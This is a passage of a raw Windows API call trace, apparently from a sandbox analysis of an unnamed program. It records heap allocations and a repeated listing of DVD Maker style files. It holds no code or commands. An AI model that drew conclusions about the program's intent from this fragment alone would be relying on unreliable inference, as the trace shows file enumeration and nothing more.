(HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcac48 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcbeb0 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.425] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcac68 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcbfb8 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.425] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcac88 [0067.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc0c0 [0067.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcaca8 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc1c8 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcacc8 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc2d0 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf40) returned 0xfaa438 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfced10) returned 1 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcace8 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc3d8 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.427] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfced28 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc4e0 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.427] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfced48 [0067.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc5e8 [0067.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfced68 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc6f0 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfced88 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc7f8 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfceda8 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcc900 [0067.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcedc8 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcca08 [0067.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcede8 [0067.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfccb10 [0067.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0067.429] GetLastError () returned 0x12 [0067.430] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.430] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, 